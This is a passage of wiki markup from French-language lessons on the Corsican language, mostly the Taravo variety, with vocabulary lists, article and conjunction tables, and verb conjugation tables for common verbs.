* 1ère personne (pluriel): '''no''': nous * 2ème personne (pluriel): '''vo''': vous * 3ème personne (masculin pluriel): '''iddi''': eux * 3ème personne (féminin pluriel): '''iddi''': elles == Les pronoms réléchis == * 1ère personne (singulier): '''mi''': me. Exemple: '''mi lavu''': je me lave * 2ème personne (singulier): '''ti''': te. Exemple: '''ti lavi''': tu te laves * 3ème personne (masculin singulier): '''si''': se. Exemple: '''si lava''': il se lave * 3ème personne (féminin singulier): '''si''': se. Exemple: '''si lava''': elle se lave * 1ère personne (pluriel): '''ci''': nous. Exemple: '''ci lavemu''': nous nous lavons * 2ème personne (pluriel): '''vi''': vous. Exemple: '''vi laveti''': vous vous lavez * 3ème personne (masculin pluriel): '''si''': se. Exemple: '''si lavani''': ils se lavent * 3ème personne (féminin pluriel): '''si''': se. Exemple: '''si lavani''': elles se lavent == Les pronoms démonstratifs == * masculin singulier: '''quissu''', '''istu''' : celui-ci * féminin singulier: '''quissa''', '''ista''' : celle-ci * masculin pluriel: '''quissi''', '''isti''' : ceux-ci * féminin pluriel: '''quissi''', '''isti''' : celles-ci * masculin singulier: '''quiddu''', '''istu''' : celui-là * féminin singulier: '''quidda''', '''ista''' : celle-là * masculin pluriel: '''quiddi''', '''isti''' : ceux-là * féminin pluriel: '''quiddi''', '''isti''' : celles-là == Les pronoms relatifs == == Les prépositions == == Les conjonctions == == Les interjections == * '''Santa Madonna''' == Les adverbes == == Les noms == === Le pluriel des noms === * les noms féminins font leur pluriel en '''i''': ** * exception: * les noms masculins font leur pluriel en '''i''' ou en '''a''' : ** * exception: == Les adjectifs == === Le pluriel des adjectifs === == Les tournures== == Les jours de la semaine == *'''luni''' : lundi *'''marti''' : mardi *'''marcuri''' : mercredi *'''ghjovi''' : jeudi *'''vennari''' : vendredi *'''sabatu''' : samedi *'''duminica''' : dimanche == Les mois == * '''ghjinnaghju''' : janvier * '''frivaghju''' : février * '''marzu''' : mars * '''aprili''' : avril * '''maghju''' : mai * '''ghjugnu''' : juin * '''luddu''' : juillet * '''austu''' : aout * '''sittembri''' : septembre * '''uttrovi''' : octobre * '''nuvembri''': novembre * '''dicembri''' : décembre == La famille == == Les couleurs == * '''biancu''': blanc * '''neru''': noir * '''verdi''': vert * '''russu''': rouge * '''giaddu''': jaune * '''grisgiu''': gris * '''viulettu''': violet == Leçons == == Appendices == #[[Corse : expressions corses]] #[[wikt:accueil|Dictionnaire Corse-Français]] #[[:co:wikt:Main Page|Dictionnaire Français-Corse]] #[[prénoms corses|Prénoms corses]] #[[proverbes corses|Proverbes corses '''Pruverbii''']] #[[toponymes corses|Toponymes corses '''Toponimi''']] == Bibliographie == * Foata, Pierre (1980) ''Essai sur les dialectes du Sud de la Corse'', Art et Artisanat rural == A propos du livre == #[[Auteurs]] #[[Historique]] == Liens externes == [http://co.wikipedia.org wikipedia en langue corse] [http://co.wiktionary.org U wikizziunariu, wiktionary en langue corse] [http://www.linguacorsa.net A lingua corsa adatta à e nove tecnulugie] Enseignement du corse:variété taravaise 4664 45554 2006-06-24T11:56:26Z 86.206.120.242 /* '''stà''' (rester) */ {{Corse}} La variété taravaise de la langue corse == Les articles == {| |- bgcolor="#abcdef" | masculin singulier || féminin singulier || masculin pluriel || féminin pluriel |- bgcolor="#abcdef" | '''u''' (le) || '''a''' (la) || '''i''' (les) || '''i''' (les) |- bgcolor="#abcdef" | '''u trenu''' (le train) || '''a rena''' (le sable) || '''i poma''' (les pommes de terre) || '''i chjarasgi''' (les cerises) |- bgcolor="#abcdef" | '''u celi''' (le ciel) || '''a mamma''' (la mère) || '''i rena''' (les reins) || '''i frauli''' (les fraises) |} Il est à noter que les noms se terminant par -'''à''' ('''a nuvità''', '''i nuvità''') ou -'''ò''' ('''u ballò''', '''i ballò''') restent inchangés au pluriel. {| |- bgcolor="#abcdef" | masculin || '''a cità''' (la ville) || '''a nuvità''' (la nouveauté) || '''u ballò''' (le ballon) || '''a virtù''' (la vertu) |- bgcolor="#abcdef" | pluriel || '''i cità''' (les villes) || '''i nuvità''' (les nouveautés)|| '''i ballò''' (les ballons) || '''i virtù''' (les vertus) |} On emploie '''l'''' à la place de '''u''', '''a''', '''i''', lorsque le nom qui suit commence par une voyelle: '''l'aceddu''' (l'oiseau), '''l'amichi''' (les amis, les amies), '''l'ora''' (l'heure). {| |- bgcolor="#abcdef" | masculin singulier || féminin singulier || masculin pluriel || féminin pluriel |- bgcolor="#abcdef" | '''l'''' (le) || '''l'''' (la) || '''l'''' (les) || '''l'''' (les) |- bgcolor="#abcdef" | '''l'aceddu''' (l'oiseau) || '''l'abba''' (l'abeille) || '''l'aceddi''' (les oiseaux) || '''l'armi''' (les armes) |} On a également les formes suivantes, mais qui sont plutôt utilisées en tant que formes littéraires, par exemple dans la poésie: {| |- bgcolor="#abcdef" | masculin singulier || féminin singulier || masculin pluriel || féminin pluriel |- bgcolor="#abcdef" | '''lu''' ou '''l'''' (le) || '''la''' ou '''l'''' (la) || '''li''' ou '''l'''' (les) || '''li''' ou '''l'''' (les) |} De même, on emploie '''l'''' à la place de '''u''', '''a''', '''i''', lorsque le nom qui suit commence par une voyelle. == Les noms == === Le pluriel des noms === * les noms féminins font leur pluriel en '''i''': ** * exception: * les noms masculins font leur pluriel en '''i''' ou en '''a''' : ** * exception: * à noter le pluriel irrégulier: '''omu''' (homme), '''omini''' (hommes) == Les conjonctions == === Les conjonctions de coordination === Il s'agit de mots qui servent à effectuer une liason entre deux éléments de même nature. Les conjonctions de coordination sont : mais, ou, et, donc, or, ni, car, puis, alors. {| |- bgcolor="#abcdef" | '''ma''' || mais || || |- bgcolor="#abcdef" | '''o''' || ou || '''luni o marti''' (lundi ou mardi) |- bgcolor="#abcdef" | '''è''' || et || '''sabatu è dumenica''' (samedi et dimanche) |- bgcolor="#abcdef" | '''dunqua''' || donc || |- bgcolor="#abcdef" | '''''' || or || |- bgcolor="#abcdef" | '''nè''' || ni || '''nè crudu nè cottu''' (ni cru ni cuit) |- bgcolor="#abcdef" | '''chì''' || car || |- bgcolor="#abcdef" | '''eppò''', '''po''' || puis || |- bgcolor="#abcdef" | '''allora''' || alors || |} A noter que "ou" se traduit par '''à''' dans '''dui à trè''' (deux ou trois). === Les conjonctions de subordination === Il s'agit de mots qui servent à effectuer une liason entre deux propositions. Les conjonctions de subordination sont : que, quand, comme, si, lorsque, puisque, quoique. Il faut également y ajouter les locutions conjonctives : après que, avant que, sitôt que, ainsi que, tandis que, bien que, sans que, de peur que, pour que. {| |- bgcolor="#abcdef" | '''cunghjunzioni''' || conjonctions |- bgcolor="#abcdef" | '''ch'è''' || que |- bgcolor="#abcdef" | '''quand'è''' || quand |- bgcolor="#abcdef" | '''com'è''' || comme |- bgcolor="#abcdef" | '''s'è''' || si |- bgcolor="#abcdef" | '''''' || lorsque |- bgcolor="#abcdef" | '''apposta ch'è''' || puisque |- bgcolor="#abcdef" | '''''' || quoique |} {| |- bgcolor="#abcdef" | '''locuzioni cunghjuntivi''' || locutions conjonctives |- bgcolor="#abcdef" | '''''' || après que |- bgcolor="#abcdef" | '''''' || avant que |- bgcolor="#abcdef" | '''''' || sitôt que |- bgcolor="#abcdef" | '''''' || ainsi que |- bgcolor="#abcdef" | '''''' || tandis que |- bgcolor="#abcdef" | '''''' || bien que |- bgcolor="#abcdef" | '''''' || sans que |- bgcolor="#abcdef" | '''''' || de peur que |- bgcolor="#abcdef" | '''''' || pour que |} == Les verbes == On peut distinguer trois groupes de verbes: * les verbes du premier groupe qui se terminent par -'''à''' * les verbes du premier groupe qui se terminent par -'''à''' et se conjuguent en -eghj * les verbes du second groupe qui se terminent par -'''a''' * les verbes du troisième groupe qui se terminent par -'''iscia''' {| |- bgcolor="#abcdef" | premier groupe || premier groupe (eghj) || second groupe || troisième groupe |- bgcolor="#abcdef" | '''parlà''' (parler) || '''zifulà''' (siffler) || '''venda''' (vendre) || '''finiscia''' (finir) |- bgcolor="#abcdef" | '''mangnà''' (manger) || '''studià''' (étudier) || '''renda''' (rendre) || '''diminuiscia''' (diminuer) |- bgcolor="#abcdef" | '''cascà''' (tomber) || '''calculà''' (calculer) || '''scriva''' (écrire) || '''capiscia''' (comprendre) |- bgcolor="#abcdef" | '''nittà''' (nettoyer) || '''criticà''' (critiquer) || '''parta''' (partir) || '''anniriscia''' (noircir) |} === '''essa''' (être) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''essa''' (être) || '''essa statu''' (avoir été) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''essendu''' (étant) || '''statu''' (été) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' () |- bgcolor="#abcdef" | '''socu''' (je suis) || '''era''' (j'étais) || '''saraghju''' (je serai) || '''socu statu''' (j'ai été) || '''era statu''' (j'avais été) || '''fù''' (je fus) |- bgcolor="#abcdef" | '''sì, sè''' (tu es) || '''eri''' (tu étais) || '''sarè''' (tu seras) || '''sì, sè statu''' (tu as été) || '''eri statu''' (tu avais été) || '''fusti''' (tu fus) |- bgcolor="#abcdef" | '''hè''' (il est) || '''era''' (il était) || '''sarà''' (il sera) || '''hè statu''' (il a été) || '''era statu''' (il avait été) || '''fù''' (il fut) |- bgcolor="#abcdef" | '''semu''' (nous sommes) || '''èrami''' (nous étions) || '''saremu''' (nous serons) || '''semu stati''' (nous avons été) || '''èrami stati''' (nous avions été) || '''fumi''' (nous fûmes) |- bgcolor="#abcdef" | '''seti''' (vous êtes) || '''èrati''' (vous étiez) || '''sareti''' (vous serez) || '''seti stati''' (vous avez été) || '''erati stati''' (vous aviez été) || '''futi''' (vous fûtes) |- bgcolor="#abcdef" | '''sò''' (ils sont) || '''èrani''' (ils étaient) || '''sarani''' (ils seront) || '''sò stati''' (ils sont été) || '''erani stati''' (ils avaient été) || '''funi''' (ils furent) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''saria''' (je serais) || ''' saria statu''' (j'aurais été) |- bgcolor="#abcdef" |'''sarii''' (tu serais) || '''statu''' (tu aurais été) |- bgcolor="#abcdef" |'''saria''' (il serait) || '''saria statu''' (il aurait été) |- bgcolor="#abcdef" |'''sarìami''' (nous serions) || '''sarìami stati''' (nous aurions été) |- bgcolor="#abcdef" |'''sarìati''' (vous seriez) || '''sarìati stati''' (vous auriez été) |- bgcolor="#abcdef" |'''sarìani''' (ils seraient) || '''sarìani stati''' (ils auraient été) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'è sii''' (que je sois) || '''ch'è fussi''' (que je fusse) || '''''' (que j'aie été) |- bgcolor="#abcdef" | '''ch'è tù sìi''' (que tu sois) || '''ch'è tù fussi''' (que tu fusses) || '''''' (que tu aies été) |- bgcolor="#abcdef" | '''ch'eddu sìi''' (qu'il soit) || '''ch'eddu fussi''' (qu'il fût) || '''''' (qu'il ait été) |- bgcolor="#abcdef" | '''ch'è no sìimi''' (que nous soyons) || '''ch'è no fùssimi''' (que nous fumes) || '''''' (que nous ayons été) |- bgcolor="#abcdef" | '''ch'è vo sìiti''' (que vous soyez) || '''ch'è vo fùssiti''' (que vous fussiez) || '''ch'è''' (que vous ayez été) |- bgcolor="#abcdef" | '''ch'eddi sìini''' (qu'ils soient) || '''ch'eddi fùssini''' (qu'ils fussent) || '''ch'è''' (qu'ils aient été) |} === '''avè''' (avoir) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''avè''' (avoir) || '''avè avutu''' (avoir eu) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''essendu''' (ayant) || '''avutu''' (eu) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' () |- bgcolor="#abcdef" |'''aghju''' (j'ai) || '''avia''' (j'avais) || '''avaraghju''' (j'aurai) || '''aghju avutu''' (j'ai eu) || '''avia avutu''' (j'avais eu) |- bgcolor="#abcdef" |'''ha''' (tu as) || '''avii''' (tu avais) || '''avarè''' (tu auras) || '''ha avutu''' (tu as eu) || '''avii avutu''' (tu avais eu) |- bgcolor="#abcdef" |'''hà''' (il a) || '''avia''' (il avait) || '''avarà''' (il aura) || '''hà avutu''' (il a eu) || '''avia avutu''' (il avait eu) |- bgcolor="#abcdef" |'''emu''', '''avemu''' (nous avons) || '''avìami''' (nous avions) || '''avaremu''' (nous aurons) || '''avemu avutu''' (nous avons eu) || '''avìami avutu''' (nous avions eu) |- bgcolor="#abcdef" |'''eti''', '''aveti''' (vous avez) || '''avìati''' (vous aviez) || '''avareti''' (vous aurez) || '''aveti avutu''' (vous avez eu) || '''avìati avutu''' (vous aviez eu) |- bgcolor="#abcdef" |'''ani''' (ils ont) || '''avìani''' (ils avaient) || '''avarani''' (ils auront) || '''ani avutu''' (ils ont eu) || '''avìani avutu''' (ils avaient eu) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''avaria''' (j'aurais) || ''' avaria avutu''' (j'aurais eu) |- bgcolor="#abcdef" |'''avarii''' (tu aurais) || '''avutu''' (tu aurais eu) |- bgcolor="#abcdef" |'''avaria''' (il aurait) || '''avaria avutu''' (il aurait eu) |- bgcolor="#abcdef" |'''avarìami''' (nous aurions) || '''avarìami avutu''' (nous aurions eu) |- bgcolor="#abcdef" |'''avarìati''' (vous auriez) || '''avarìati avutu''' (vous auriez eu) |- bgcolor="#abcdef" |'''avarìani''' (ils auraient) || '''avarìani avutu''' (ils auraient eu) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'é aghji''' (que j'aie) || '''ch'é avissi''' (que j'eusse) || '''chè''' (que j'aie eu) |- bgcolor="#abcdef" | '''chè tù aghji''' (que tu aies) || '''chè tù avissi''' (que tu eusses) || '''chè''' (que tu aies eu) |- bgcolor="#abcdef" | '''ch'eddu aghji''' (qu'il ait) || '''ch'eddu avissi''' (qu'il eût) || '''chè''' (qu'il ait eu) |- bgcolor="#abcdef" | '''chè no àghjimi''' (que nous ayons) || '''chè no avìssimi''' (que nous eussions) || '''chè''' (que nous ayons eu) |- bgcolor="#abcdef" | '''chè vo àghjiti''' (que vous ayez) || '''chè vo avìssiti''' (que vous eussiez) || '''chè''' (que vous ayez eu) |- bgcolor="#abcdef" | '''ch'eddi àghjini''' (qu'ils aient) || '''ch'eddi avìssini''' (qu'ils eussent) || '''chè''' (qu'ils aient eu) |} === '''parlà''' (parler) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''parlà''' (parler) || '''avè parlatu''' (avoir parlé) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''parlendu''' (parlant) || '''parlatu''' (parlé) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' () |- bgcolor="#abcdef" |'''parlu''' (je parle) || '''parlava''' (je parlais) || '''parlaraghju''' (je parlerai) || '''aghju parlatu''' (j'ai parlé) || '''avia parlatu''' (j'avais parlé) || '''parleti''' (je parlai) |- bgcolor="#abcdef" |'''parli''' (tu parles) || '''parlavi''' (tu parlais) || '''parlarè''' (tu parleras) || '''ha parlatu''' (tu as parlé) || '''avii parlatu''' (tu avais parlé) || '''parlesti''' (tu parlas) |- bgcolor="#abcdef" |'''parla''' (il parle) || '''parlava''' (il parlait) || '''parlarà''' (il parlera) || '''hà parlatu''' (il a parlé) || '''avia parlatu''' (il avait parlé) || '''parleti''' (il parla) |- bgcolor="#abcdef" |'''parlemu''' (nous parlons) || '''parlàvami''' (nous parlions) || '''parlaremu''' (nous parlerons) || '''avemu parlatu''' (nous avons parlé) || '''aviami parlatu''' (nous avions parlé) || '''parlètimi''' (nous parlâmes) |- bgcolor="#abcdef" |'''parleti''' (vous parlez) || '''parlàvati''' (vous parliez) || '''parlareti''' (vous parlerez) || '''aveti parlatu''' (vous avez parlé) || '''aviati parlatu''' (vous aviez parlé) || '''parlètiti''' (vous parlâtes) |- bgcolor="#abcdef" |'''parlani''' (ils parlent) || '''parlàvani''' (ils parlaient) || '''parlarani''' (ils parleront) || '''ani parlatu''' (ils ont parlé) || '''aviani parlatu''' (ils avaient parlé) || '''parlètini''' (ils parlèrent) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''parlaria''' (je parlerais) || '''avaria parlatu''' (j'aurais parlé) |- bgcolor="#abcdef" |'''parlarii''' (tu parlerais) || '''avarii parlatu''' (tu aurais parlé) |- bgcolor="#abcdef" |'''parlaria''' (il parlerait) || '''avaria parlatu''' (il aurait parlé) |- bgcolor="#abcdef" |'''parlarìami''' (nous parlerions) || '''avarìami parlatu''' (nous aurions parlé) |- bgcolor="#abcdef" |'''parlarìati''' (vous parleriez) || '''avarìati parlatu''' (vous auriez parlé) |- bgcolor="#abcdef" |'''parlarìani''' (ils parleraient) || '''avarìani parlatu''' (ils auraient parlé) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'é parli''' (que je parle) || '''chè parlessi''' (que je parlasse) || '''chè''' (que j'aie parlé) |- bgcolor="#abcdef" | '''chè tù parli''' (que tu parles) || '''chè tù parlessi''' (que tu parlasses) || '''chè''' (que tu aies parlé) |- bgcolor="#abcdef" | '''ch'eddu parli''' (qu'il parle) || '''ch'eddu parlessi''' (qu'il parlasse) || '''chè''' (qu'il ait parlé) |- bgcolor="#abcdef" | '''chè no pàrlimi''' (que nous parlions) || '''chè no parlèssimi''' (que nous parlassions) || '''chè''' (que nous ayons parlé) |- bgcolor="#abcdef" | '''chè vo pàrliti''' (que vous parliez) || '''chè vo parlèssiti''' (que vous parlassiez) || '''chè''' (que vous ayez parlé) |- bgcolor="#abcdef" | '''ch'eddi pàrlini''' (qu'ils parlent) || '''ch'eddi parlèssini''' (qu'ils parlassent) || '''chè''' (qu'ils aient parlé) |} === zifulà (siffler) === {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''zifulenti''' (sifflant) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''zifulendu''' (sifflant) || '''zifulatu''' (sifflé) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' () |- bgcolor="#abcdef" |'''zifuleghju''' (je siffle) || '''zifulava''' (je sifflais) || '''zifularaghju''' (je sifflerai) || '''aghju zifulatu''' (j'ai sifflé) || '''avia zifulatu''' (j'avais sifflé) || '''zifuleti''' (je sifflai) |- bgcolor="#abcdef" |'''zifuleghji''' (tu siffles) || '''zifulavi''' (tu sifflais) || '''zifularè''' (tu siffleras) || '''ha zifulatu''' (tu as sifflé) || '''avii zifulatu''' (tu avais sifflé) || '''zifulesti''' (tu sifflas) |- bgcolor="#abcdef" |'''zifuleghja''' (il siffle) || '''zifulava''' (il sifflait) || '''zifularà''' (il sifflera) || '''hà zifulatu''' (il a sifflé) || '''avia zifulatu''' (il avait sifflé) || '''zifuleti''' (il siffla) |- bgcolor="#abcdef" |'''zifulemu''' (nous sifflons) || '''zifulàvami''' (nous sifflions) || '''zifularemu''' (nous sifflerons) || '''avemu zifulatu''' (nous avons sifflé) || '''avìami zifulatu''' (nous avions sifflé) || '''zifulètimi''' (nous sifflâmes) |- bgcolor="#abcdef" |'''zifuleti''' (vous sifflez) || '''zifulàvati''' (vous siffliez) || '''zifulareti''' (vous sifflerez) || '''aveti zifulatu''' (vous avez sifflé) || '''avìati zifulatu''' (vous aviez sifflé) || '''zifulètiti''' (vous sifflâtes) |- bgcolor="#abcdef" |'''zifulèghjani''' (ils sifflent) || '''zifulàvani''' (ils sifflaient) || '''zifularani''' (ils siffleront) || '''ani zifulatu''' (ils ont sifflé) || '''avìani zifulatu''' (ils avaient sifflé) || '''zifulètini''' (ils sifflèrent) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''zifularia''' (je sifflerais) || '''avaria zifulatu''' (j'aurais sifflé) |- bgcolor="#abcdef" |'''zifularii''' (tu sifflerais) || '''avarii zifulatu''' (tu aurais sifflé) |- bgcolor="#abcdef" |'''zifularia''' (il sifflerait) || '''avaria zifulatu''' (il aurait sifflé) |- bgcolor="#abcdef" |'''zifularìami''' (nous sifflerions) || '''avarìami zifulatu''' (nous aurions sifflé) |- bgcolor="#abcdef" |'''zifularìati''' (vous siffleriez) || '''avarìati zifulatu''' (vous auriez sifflé) |- bgcolor="#abcdef" |'''zifularìani''' (ils siffleraient) || '''avarìani zifulatu''' (ils auraient sifflé) |} {|- |- bgcolor="lightgreen" |'''sughjuntivu''' (subjonctif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''ch'é zifuleghji''' (que j'siffle) || '''chè zifulessi''' (que j'sifflasse) || '''chè''' (que j'aie sifflé) |- bgcolor="#abcdef" | '''chè tù zifuleghji''' (que tu siffles) || '''chè tù zifulessi''' (que tu sifflasses) || '''chè''' (que tu aies sifflé) |- bgcolor="#abcdef" | '''ch'eddu zifuleghji''' (qu'il siffle) || '''ch'eddu zifulessi''' (qu'il sifflasse) || '''chè''' (qu'il ait sifflé) |- bgcolor="#abcdef" | '''chè no zifulèghjimi''' (que nous sifflions) || '''chè no zifulèssimi''' (que nous sifflassions) || '''chè''' (que nous ayons sifflé) |- bgcolor="#abcdef" | '''chè vo zifulèghjiti''' (que vous siffliez) || '''chè vo zifulèssiti''' (que vous sifflassiez) || '''chè''' (que vous ayez sifflé) |- bgcolor="#abcdef" | '''ch'eddi zifulèghjini''' (qu'ils sifflent) || '''ch'eddi zifulèssini''' (qu'ils sifflassent) || '''chè''' (qu'ils aient sifflé) |} === '''finiscia''' (finir) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''finiscia''' (finir) || '''avè finitu''' (avoir fini) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''finiscendu''' (finissant) || '''finitu''' (fini) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' |- bgcolor="#abcdef" |'''finiscu''' (je finis) || '''finia''' (je finissais) || '''finisciaraghju''' (je finirai) || '''aghju finitu''' (j'ai fini) || '''avia finitu''' (j'avais fini) || '''finiti''' (je finis) |- bgcolor="#abcdef" |'''finisci''' (tu finis) || '''finii''' (tu finissais) || '''finisciarè''' (tu finiras) || '''ha finitu''' (tu as fini) || '''avii finitu''' (tu avais fini) || '''finisti''' (tu finis) |- bgcolor="#abcdef" |'''finisci''' (il finit) || '''finia''' (ils finissait) || '''finisciarà''' (il finira) || '''hà finitu''' (il a fini) || '''avia finitu''' (il avait fini) || '''finiti''' (il finît) |- bgcolor="#abcdef" |'''finimu''' (nous finissons) || '''finìami''' (nous finissions) || '''finisciaremu''' (nous finirons) || '''avemu finitu''' (nous avons fini) || '''avìami finitu''' (nous avions fini) || '''finìtimi''' (nous finîmes) |- bgcolor="#abcdef" |'''finiti''' (vous finissez) || '''finìati''' (vous finissiez) || '''finisciareti''' (vous finirez) || '''aveti finitu''' (vous avez fini) || '''avìati finitu''' (vous aviez fini) || '''finìtiti''' (vous finîtes) |- bgcolor="#abcdef" |'''finiscini''' (ils finissent) || '''finìani''' (ils finissaient) || '''finisciarani''' (ils finiront) || '''ani finitu''' (ils ont fini) || '''avìani finitu''' (ils avaient fini) || '''finìtini''' (ils finirent) |} {|- |- bgcolor="lightgreen" |'''cundiziunali''' (conditionnel) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" |'''finisciaria''' (je finirais) || '''avaria finitu''' (j'aurais fini) |- bgcolor="#abcdef" |'''finisciarii''' (tu finirais) || '''''' (tu aurais fini) |- bgcolor="#abcdef" |'''finisciaria''' (il finirait) || '''avaria finitu''' (il aurait fini) |- bgcolor="#abcdef" |'''finisciarìami''' (nous finirions) || '''avarìami finitu''' (nous aurions fini) |- bgcolor="#abcdef" |'''finisciarìati''' (vous finiriez) || '''avarìati finitu''' (vous auriez fini) |- bgcolor="#abcdef" |'''finisciarìani''' (ils finiraient) || '''avarìani finitu''' (ils auraient fini) |} {|- |- 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|'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''parta''' (partir) || '''essa partitu''' (être parti) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''partendu''' (partant) || '''partitu''' (parti) |} {|- |- bgcolor="lightgreen" |'''indicativu''' (indicatif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''imparfettu''' (imparfait) || '''futuru''' (futur) || '''passatu cumpostu''' (passé composé) || '''trapassatu''' () || '''passatu landanu''' () |- bgcolor="#abcdef" |'''partu''' (je pars) || '''partia''' (je partais) || '''partaraghju''' (je partirai) || '''socu partitu''' (je suis parti) || '''era partitu''' (j'étais parti) || '''partiti''' (je partis) |- bgcolor="#abcdef" |'''parti''' (tu pars) || '''partii''' (tu partais) || '''partarè''' (tu partiras) || '''sè partitu''' (tu es parti) || '''eri partitu''' (tu étais parti) || '''partisti''' (tu partis) |- bgcolor="#abcdef" |'''parti''' (il part) || '''partia''' (il partait) || '''partarà''' (il partira) || '''hè partitu''' (il est parti) || '''era partitu''' (il était parti) || '''partiti''' (il partit) |- bgcolor="#abcdef" |'''partimu''' (nous partons) || '''partìami''' (nous partions) || '''partaremu''' (nous partirons) || '''semu partiti''' (nous sommes partis) || '''èrami partiti''' (nous étions partis) || '''partìtimi''' (nous partîmes) |- bgcolor="#abcdef" |'''partiti''' (vous partez) || '''partìati''' (vous partiez) || '''partareti''' (vous partirez) || '''seti partiti''' (vous êtes partis) || '''èrati partiti''' (vous étiez partis) || '''partìtiti''' (vous partîtes) |- bgcolor="#abcdef" |'''partini''' (ils partent) || '''partìani''' (ils partaient) || '''partarani''' (ils partiront) || '''sò partiti''' (ils sont partis) || '''èrani partiti''' (ils étaient partis) || '''partìtini''' (ils partirent) |} {|- |- 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sois parti) |- bgcolor="#abcdef" | '''ch'è tù parti''' (que tu partes) || '''ch'è tù partissi''' (que tu partisses) || '''chè''' (que tu soies parti) |- bgcolor="#abcdef" | '''ch'eddu parti''' (qu'il parte) || '''ch'eddu partissi''' (qu'il partisse) || '''chè''' (qu'il soit parti) |- bgcolor="#abcdef" | '''chè no pàrtimi''' (que nous partions) || '''ch'è no partìssimi''' (que nous partissions) || '''ch'è''' (que nous soyons partis) |- bgcolor="#abcdef" | '''chè vo pàrtiti''' (que vous partiez) || '''ch'è vo partìssiti''' (que vous partissiez) || '''ch'è''' (que vous soyez partis) |- bgcolor="#abcdef" | '''ch'eddi pàrtini''' (qu'ils partent) || '''ch'eddi partìssini''' (qu'ils partissent) || '''ch'è''' (qu'ils soient partis) |} === '''pudè''' (pouvoir) === {|- |- bgcolor="lightgreen" |'''infinitivu''' (infinitif) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | '''pudè''' (pouvoir) || '''essa pussutu''' (avoir pu) |} {|- |- bgcolor="lightgreen" |'''participu''' (participe) |- bgcolor="#abcdef" |'''prisenti''' (présent) || '''passatu''' (passé) |- bgcolor="#abcdef" | 